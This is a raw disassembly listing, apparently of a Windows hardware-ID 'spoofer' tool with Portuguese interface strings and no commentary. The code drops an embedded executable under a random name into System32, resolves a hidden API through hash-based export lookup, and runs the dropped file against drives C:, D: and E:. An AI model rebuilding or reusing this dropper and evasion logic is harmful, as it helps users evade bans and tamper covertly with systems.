comiss xmm12, xmm6
ja 0x14005d680
movss xmm0, dword [0x140102d9c]
subss xmm6, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x188]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140025200
movss xmm0, dword [0x140102d84]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140023840
mov r8, qword [0x14031d9b0]
mov dword [rbx + 0x78], r13d
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031e18c]
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 4], xmm1
movss xmm1, dword [0x14031e194]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp], xmm0
movss xmm0, dword [0x14031e190]
movss dword [rbp + 0xc], xmm1
movss dword [rbp + 8], xmm0
call fcn.140005350
movss xmm8, dword [0x140102e58]
lea r14, str.Substituicao_de_dados_foi_concluida_com_sucesso.
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0xc8]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm8
mov qword [rsp + 0x30], r13
mov esi, eax
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002c3f0
movss xmm0, dword [rbp + 0xc8]
movss xmm7, dword [0x140102d44]
movss xmm2, dword [0x14031cc64]
addss xmm0, xmm7
subss xmm2, dword [rbp + 0xcc]
cvttss2si eax, xmm0
movss xmm0, dword [0x14031cc60]
subss xmm2, xmm15
movd xmm1, eax
mulss xmm2, xmm12
cvtdq2ps xmm1, xmm1
addss xmm2, xmm10
movss dword [rbp + 0xc8], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x194], xmm2
subss xmm0, xmm13
mulss xmm0, xmm12
addss xmm0, xmm9
movss dword [rbp + 0x190], xmm0
test esi, 0xff000000
je 0x14005d824
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005d7da
mov r8d, 0x678
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x140101e68]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x190]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002c610
mov r8, qword [0x14031d9b0]
lea rcx, [rbp - 0x20]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031e18c]
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
movss dword [rbp - 0x1c], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x140102d08]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp - 0x20], xmm0
movss xmm0, dword [0x14031e190]
mulss xmm1, dword [0x14031e194]
movss dword [rbp - 0x18], xmm0
movss dword [rbp - 0x14], xmm1
call fcn.140005350
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x28]
mov rcx, qword [r8 + 0x3d58]
mov esi, eax
lea rax, str.Reincie_seu_PC__e_flashe_sua_Bios_
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm11
call fcn.14002c3f0
movss xmm0, dword [rbp + 0x28]
movss xmm2, dword [0x14031cc64]
addss xmm0, xmm7
subss xmm2, dword [rbp + 0x2c]
cvttss2si eax, xmm0
movss xmm0, dword [0x14031cc60]
addss xmm2, xmm15
movd xmm1, eax
mulss xmm2, xmm12
cvtdq2ps xmm1, xmm1
addss xmm2, xmm10
movss dword [rbp + 0x28], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x19c], xmm2
addss xmm0, xmm13
mulss xmm0, xmm12
addss xmm0, xmm9
movss dword [rbp + 0x198], xmm0
test esi, 0xff000000
je 0x14005d9c1
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005d970
mov r8d, 0x678
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x140101e91]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x198]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.Reincie_seu_PC__e_flashe_sua_Bios
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002c610
movss xmm0, dword [0x14031e0f4]
comiss xmm0, dword [0x140102e18]
movss xmm9, dword [0x140102d84]
movss xmm10, dword [0x140102d44]
movss xmm8, dword [0x140102e30]
jbe 0x14005b68b
mov dword [0x14031e0f4], r13d
jmp 0x14005b68b
mov rbx, qword [0x14031d9b0]
test rbx, rbx
je 0x14005da17
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14005da3b
jmp 0x14005da1a
mov rdi, r13
mov r8d, 0x130
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREY_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14031d9b0]
test rbx, rbx
jne 0x14005da61
mov r8d, 0x10d9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14031d9b0]
call fcn.14003e7d0
mov rcx, qword [rdi]
test rcx, rcx
je 0x14005da74
mov rax, qword [rcx]
call qword [rax + 0x10]
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x14031d9b0]
mov qword [rbx + 0x88], r13
mov qword [rbx + 0x98], r13
test r8, r8
je 0x14005daf2
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x14005dae7
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r13d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8, qword [0x14031d9b0]
test r8, r8
je 0x14005db15
mov rdi, qword [r8 + 0x90]
test rdi, rdi
jne 0x14005db39
jmp 0x14005db18
mov rdi, r13
mov r8d, 0xca
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREY_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x14031d9b0]
test r8, r8
jne 0x14005db5f
mov r8d, 0x10d9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x14031d9b0]
mov rcx, qword [rdi + 0x38]
lea rbx, [r8 + 8]
test rcx, rcx
je 0x14005db79
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x14031d9b0]
and dword [rbx + 4], 0xfffffff8
mov qword [rbx + 0x78], r13
mov qword [rbx + 0x88], r13
test r8, r8
je 0x14005dbed
movsx rdx, word [r8 + 0x6078]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rdx*8 + 0x607c]
add rcx, r8
cmp dword [rcx], r9d
je 0x14005dbe2
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [rax*8 + 0x607c]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], r13d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x14031d9b0]
mov qword [0x14031d9b0], rbx
call fcn.140007900
mov qword [0x14031d9b0], r13
test rbx, rbx
je 0x14005dc93
mov rcx, rbx
call fcn.1400218e0
mov r8, qword [0x14031d9b0]
test r8, r8
je 0x14005dc8a
movsx r10, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x14005dc7f
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], r13d
inc word [rdx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x14031e098]
test rcx, rcx
je 0x14005dcac
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14031e098], r13
mov rcx, qword [0x14031e088]
test rcx, rcx
je 0x14005dcc5
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14031e088], r13
mov rcx, qword [0x14031da00]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x14005ecad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 0x30
mov qword [rbp - 0x58], r13
call fcn.1400cf704
movups xmm0, xmmword [str.C:WindowsSystem32_vdfjdisfudasu.exe]
mov qword [rbp - 0x60], rax
lea rdx, [0x1401ab120]
mov qword [rbp - 0x50], 0x25
mov r9, rax
mov qword [rbp - 0x48], 0x2f
mov r8d, 0x390a8
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400ff550]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400ff560]
mov dword [rax + 0x20], ecx
lea rcx, [rbp - 0x60]
movzx eax, byte [0x1400ff564]
mov byte [r9 + 0x24], al
mov byte [r9 + 0x25], r13b
call fcn.140046120
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14005ddaf
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ddaa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ddaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cf980
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14005de35
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14005de35
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005de30
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005de10
cmp edx, 0x2fa62ca8
je 0x14005de3a
test r9d, r9d
jne 0x14005ddf0
mov rax, qword [rax]
jmp 0x14005ddc0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov ecx, 0x3e8
add rax, r10
call rax
lea rcx, [rbp + 0xa0]
call fcn.140045fb0
lea rcx, [rbp]
mov r15, rax
call fcn.140045fb0
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005df17
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005dea2
mov rsi, qword [rax]
lea rax, [0x1400ff592]
mov ebx, 0x2a
cmp rax, rsi
jbe 0x14005ded5
lea rax, [rsi + r8]
cmp r14, rax
ja 0x14005ded5
cmp rsi, r14
ja 0x14005dec6
mov r14, r13
jmp 0x14005ded8
mov r14, rsi
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
sub r14, rax
jmp 0x14005ded8
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rbx
add rdx, rbx
lea rcx, [rsi + r14]
add rdx, r14
sub r8, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14005df33
mov ebx, 0x2a
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov edx, ebx
mov qword [rsp + 0x20], r14
call fcn.140064510
mov rdi, rax
mov qword [rbp - 0x50], r13
lea rdx, [0x1400fce1c]
mov qword [rbp - 0x48], r13
lea rcx, [rbp - 0x60]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r13b
call fcn.140061a40
mov r9, r15
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
movups xmmword [rbp + 0x40], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x50], xmm1
mov byte [rax], r13b
call fcn.1400640b0
cmp qword [rbp - 8], 0xf
lea rcx, [rbp - 0x20]
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14005dff0
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005dfeb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e105
call fcn.1400cf980
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r13b
cmp rdx, 0xf
jbe 0x14005e03b
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e036
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e105
call fcn.1400cf980
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14005e076
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e071
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e105
call fcn.1400cf980
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
cmp rdx, 0xf
jbe 0x14005e0bd
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e0b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e105
call fcn.1400cf980
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r13b
cmp rdx, 0xf
jbe 0x14005e111
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e10c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e10c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cf980
lea rcx, [rbp + 0xa0]
call fcn.140045fb0
lea rcx, [rbp]
mov r15, rax
call fcn.140045fb0
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005e1c5
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005e158
mov rsi, qword [rax]
lea rax, [0x1400ff5c2]
cmp rax, rsi
jbe 0x14005e186
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
cmp rcx, rax
ja 0x14005e186
cmp rsi, rcx
ja 0x14005e17e
mov r14, r13
jmp 0x14005e189
mov r14, rsi
sub r14, rcx
jmp 0x14005e189
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
lea rdx, [0x1400ff5c2]
sub r8, r14
lea rcx, [rsi + r14]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14005e1e4
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov qword [rsp + 0x28], rbx
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rdi
call fcn.140064510
mov rdi, rax
mov qword [rbp - 0x50], r13
lea rdx, [0x1400fce1c]
mov qword [rbp - 0x48], r13
lea rcx, [rbp - 0x60]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r13b
call fcn.140061a40
mov r9, r15
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
movups xmmword [rbp + 0x40], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x50], xmm1
mov byte [rax], r13b
call fcn.1400640b0
cmp qword [rbp - 8], 0xf
lea rcx, [rbp - 0x20]
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14005e2a1
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e29c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e3b6
call fcn.1400cf980
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r13b
cmp rdx, 0xf
jbe 0x14005e2ec
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e2e7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e3b6
call fcn.1400cf980
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14005e327
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e322
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e3b6
call fcn.1400cf980
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
cmp rdx, 0xf
jbe 0x14005e36e
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e369
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e3b6
call fcn.1400cf980
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r13b
cmp rdx, 0xf
jbe 0x14005e3c2
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e3bd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e3bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cf980
lea rcx, [rbp + 0xa0]
call fcn.140045fb0
lea rcx, [rbp]
mov r15, rax
call fcn.140045fb0
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005e47a
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005e409
mov rsi, qword [rax]
lea rax, [0x1400ff5f2]
cmp rax, rsi
jbe 0x14005e437
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
cmp rcx, rax
ja 0x14005e437
cmp rsi, rcx
ja 0x14005e42f
mov r14, r13
jmp 0x14005e43a
mov r14, rsi
sub r14, rcx
jmp 0x14005e43a
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
sub rbx, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
add rdx, 0x2a
lea rcx, [rsi + r14]
add rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14005e499
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov qword [rsp + 0x28], rbx
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rdi
call fcn.140064510
mov rdi, rax
mov qword [rbp - 0x50], r13
lea rdx, [0x1400fce1c]
mov qword [rbp - 0x48], r13
lea rcx, [rbp - 0x60]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r13b
call fcn.140061a40
mov r9, r15
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
movups xmmword [rbp + 0x40], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x50], xmm1
mov byte [rax], r13b
call fcn.1400640b0
cmp qword [rbp - 8], 0xf
lea rcx, [rbp - 0x20]
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14005e556
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e551
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e66b
call fcn.1400cf980
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r13b
cmp rdx, 0xf
jbe 0x14005e5a1
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e59c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e66b
call fcn.1400cf980
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14005e5dc
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e5d7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e66b
call fcn.1400cf980
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
cmp rdx, 0xf
jbe 0x14005e623
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e61e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e66b
call fcn.1400cf980
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r13b
cmp rdx, 0xf
jbe 0x14005e677
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e672
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e672
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cf980
xorps xmm0, xmm0
mov qword [rbp + 0x2b0], r13
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2d0], xmm0
lea rax, str.Selecione_o_diretorio_de_download
movdqa xmmword [rbp + 0x2e0], xmm1
lea rcx, [rbp + 0x2b0]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x2b8], r13
mov qword [rbp + 0x2c0], r13
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov rbx, rax
test rax, rax
je 0x14005ed40
lea rdx, [rbp + 0x360]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0x28]
mov qword [rbp + 0x28], r13
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x14005e702
mov rcx, qword [rbp + 0x28]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
xorps xmm0, xmm0
mov qword [rbp + 0x10], r13
movups xmmword [rbp], xmm0
